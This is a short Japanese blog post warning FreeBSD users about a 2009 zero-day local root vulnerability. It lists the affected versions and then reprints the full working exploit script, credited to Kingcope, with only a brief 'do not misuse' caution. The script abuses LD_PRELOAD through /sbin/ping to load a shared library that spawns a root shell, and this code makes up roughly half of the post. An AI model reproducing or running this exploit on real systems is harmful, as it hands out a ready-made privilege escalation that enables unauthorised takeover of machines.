カテゴリー
FreeBSD news PC関連 セキュリティ

FreeBSDユーザ要注意! root権限奪還EXPLOITコード発見される

FreeBSD 0-day

 
 
久しぶりに怖い! と思った0-dayです。

FreeBSDユーザで次の該当バージョンを使用している場合は要注意です。しかも、まだパッチや対応策は出ていないようです…。
 
 
影響を受けるFreeBSDバージョン

Systems tested/affected
**********************************
FreeBSD 8.0-RELEASE *** VULNERABLE
FreeBSD 7.1-RELEASE *** VULNERABLE
FreeBSD 6.3-RELEASE *** NOT VULN
FreeBSD 4.9-RELEASE *** NOT VULN

 
 
実際のEXPLOITコードをご紹介します。(悪用厳禁)

*EXPLOIT*

#!/bin/sh
echo ** FreeBSD local r00t zeroday
echo by Kingcope
echo November 2009
cat > env.c << _EOF #include

main() {
extern char **environ;
environ = (char**)malloc(8096);

environ[0] = (char*)malloc(1024);
environ[1] = (char*)malloc(1024);
strcpy(environ[1], “LD_PRELOAD=/tmp/w00t.so.1.0”);

execl(“/sbin/ping”, “ping”, 0);
}
_EOF
gcc env.c -o env
cat > program.c << _EOF #include
#include
#include
#include

void _init() {
extern char **environ;
environ=NULL;
system(“echo ALEX-ALEX;/bin/sh”);
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
cp w00t.so.1.0 /tmp/w00t.so.1.0
./env

 
 
くれぐれも、お気を付け下さい…。
 
 
[FreeBSD local r00t zeroday]

(turbo)
 
 
[tmkm-amazon]1931836094[/tmkm-amazon]
 
 
【関連記事】
Snow Leopardでジャンボフレーム設定
TCPプロトコルの脆弱性に関する注意喚起
Windows7の価格を30ドルに!…学生だけだけど。
無料で不用品がもらえる! 元Yahoo!社員によるオンラインリサイクルサービス「EQO」
最新WebkitはGPUアクセラレーション3D対応! (WebGL経由)